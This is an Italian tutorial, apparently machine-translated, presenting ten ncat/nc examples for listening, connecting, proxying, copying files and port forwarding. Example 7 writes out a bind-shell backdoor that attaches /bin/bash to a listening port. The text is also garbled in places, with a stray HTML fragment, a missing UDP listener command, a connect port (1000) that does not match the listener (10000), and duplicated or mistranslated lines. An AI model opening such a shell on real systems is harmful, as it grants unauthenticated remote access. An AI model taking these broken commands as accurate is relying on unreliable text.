ncat o nc è un’utilità di rete con funzionalità simili al comando cat ma per la rete. Si tratta di uno strumento CLI general purpose per la lettura, la scrittura, il reindirizzamento dei dati attraverso una rete. È progettato per essere uno strumento di back-end affidabile che può essere utilizzato con script o altri programmi. È anche un ottimo strumento per il debug di rete, in quanto può creare qualsiasi tipo di connessione di cui si possa aver bisogno.
ncat / nc può essere uno strumento di scansione delle porte, uno strumento di sicurezza o uno strumento di monitoraggio ed è anche un semplice proxy TCP., Dal momento che ha così tante caratteristiche, è conosciuto come un coltellino svizzero di rete. È uno di quegli strumenti che ogni amministratore di sistema dovrebbe conoscere& master.
Nella maggior parte delle distribuzioni Debian ‘nc’ è disponibile e il suo pacchetto viene installato automaticamente durante l’installazione. Ma nell’installazione minima di CentOS 7 / RHEL 7 non troverai nc come pacchetto predefinito. È necessario installare utilizzando il seguente comando.,
# yum install nmap-ncat -y
Gli amministratori di sistema possono usarlo per controllare la sicurezza del loro sistema, possono usarlo per trovare le porte aperte & piuttosto che proteggerle. Gli amministratori possono anche usarlo come client per il controllo di server web, server telnet, server di posta ecc., con ‘ nc ‘possiamo controllare ogni carattere inviato & può anche visualizzare le risposte alle query inviate.
Possiamo anche far sì che acquisisca i dati inviati dal cliente per capire cosa stanno facendo.,
In questo tutorial, impareremo come usare il comando ‘nc’ con 10 esempi,
Esempio: 1) Ascoltare le connessioni in entrata
Ncat può funzionare in modalità di ascolto & possiamo ascoltare le connessioni in entrata sul numero di porta con l’opzione ‘l’. Il comando completo è,
nc ncat-l port_number
Ad esempio,
$ ncat -l 8080
Il server inizierà ora ad ascoltare la porta 8080 per le connessioni in entrata.,
Esempio: 2) Connettersi a un sistema remoto
Per la connessione a un sistema remoto con nc, possiamo utilizzare il seguente comando,
$ ncat IP_address port_number
prendiamo un esempio,
$ ncat 192.168.1.100 80
Ora una connessione a server con indirizzo IP 192.168.1.100 sarà effettuato presso la porta 80 & ora siamo in grado di inviare istruzioni al server. Come possiamo ottenere il contenuto completo della pagina con
GET / HTTP / 1.1
o ottenere il nome della pagina,
GET / HTTP / 1.1
o possiamo ottenere banner per il fingerprinting del sistema operativo con il seguente,
HEAD/HTTP / 1.,1
Questo dirà quale software viene utilizzato per eseguire il server web.
Esempio: 3) Connessione alle porte UDP
Per impostazione predefinita , l’utilità nc effettua connessioni solo alle porte TCP.,eabfde”>
Ora il nostro sistema di iniziare ad ascoltare di una porta udp ‘1234’, siamo in grado di verificare questo utilizzando sotto il comando netstat,
supponiamo di voler inviare o test della porta UDP di connettività ad uno specifico host remoto, utilizzare il seguente comando,
$ ncat -v -u {host-ip} {udp-porta}
esempio:
# ncat -v -u 192.168.105.150 53Ncat: Version 6.40 ( http://nmap.org/ncat )Ncat: Connected to 192.168.105.150:53.
Esempio: 4) NC come strumento di chat
NC può essere utilizzato anche come strumento di chat, si può configurare il server in ascolto su una porta & che può effettuare la connessione al server da un computer remoto sulla stessa porta & avviare l’invio del messaggio., Sul lato server, eseguire
$ ncat -l 8080
Sulla macchina client remota, eseguire
$ ncat 192.168.1.100 8080
Di iniziare a inviare messaggi & verranno visualizzati sul terminale del server.
Esempio: 5) NC come proxy
NC può essere utilizzato anche come proxy con un semplice comando. Facciamo un esempio,
$ ncat -l 8080 | ncat 192.168.1.200 80
Ora tutte le connessioni che arrivano al nostro server sulla porta 8080 verranno automaticamente reindirizzate al server 192.168.1.200 sulla porta 80., Ma dal momento che stiamo usando una pipe, i dati possono essere trasferiti solo & per essere in grado di ricevere i dati, dobbiamo creare una pipe bidirezionale. Utilizzare i seguenti comandi per farlo,
$ mkfifo 2way$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way
Ora sarete in grado di inviare& ricevere dati su proxy nc.
Esempio: 6) Copiare file usando nc/ncat
NC può anche essere usato per copiare i file da un sistema all’altro, anche se non è raccomandato& per lo più tutti i sistemi hanno ssh / scp installato di default., Tuttavia, se vi siete imbattuti in un sistema senza ssh / scp, potete anche usare nc come ultimo sforzo.
Inizia con la macchina sulla quale i dati devono essere ricevuti & start nc è un ascoltatore modalità,
$ ncat -l 8080 > file.txt
Ora sulla macchina da cui i dati devono essere copiati, eseguire il seguente comando,
$ ncat 192.168.1.100 8080 --send-only < data.txt
Qui, dati.txt è il file che deve essere inviato. – send – only opzione chiuderà la connessione una volta che il file è stato copiato. Se non si utilizza questa opzione, che avremo premere ctrl + c per chiudere la connessione manualmente.,
Possiamo anche copiare intere partizioni del disco usando questo metodo, ma dovrebbe essere fatto con cautela.
Esempio: 7) Creare una backdoor tramite nc / natt
Il comando NC può anche essere usato per creare backdoor nei tuoi sistemi & questa tecnica è in realtà usata molto dagli hacker. Dovremmo sapere come funziona per proteggere il nostro sistema. Per creare una backdoor, il comando è,
$ ncat -l 10000 -e /bin/bash
‘e‘ flag allega un bash alla porta 10000., Ora un client può connettersi alla porta 10000 sul server & avrà accesso completo al nostro sistema tramite bash,
$ ncat 192.168.1.100 1000
Esempio: 8) Port forwarding via nc/ncat
Si può anche utilizzare NC per il port forwarding con l’aiuto di opzione di ‘c’ , la sintassi per la realizzazione di port forwarding,
$ ncat -u -l 80 -c 'ncat -u -l 8080'
Ora, tutte le connessioni sulla porta 80 verrà inoltrata alla porta 8080.
Esempio: 9) Impostare i timeout di connessione
La modalità Listener in ncat continuerà a funzionare & dovrebbe essere terminata manualmente., Ma possiamo configurare i timeout con l’opzione ‘w’,
$ ncat -w 10 192.168.1.100 8080
Questo farà sì che la connessione venga terminata in 10 secondi, ma può essere utilizzata solo sul lato client& non sul lato server.
Esempio: 10) Forza il server a rimanere attivo usando l’opzione-k in ncat
Quando il client si disconnette dal server, dopo qualche tempo anche il server smette di ascoltare. Ma possiamo forzare il server a rimanere connesso & continuando l’ascolto della porta con l’opzione ‘k’., Esegui il seguente comando,
$ ncat -l -k 8080
Ora il server rimarrà attivo, anche se una connessione dal client è interrotta.
Lascia un commento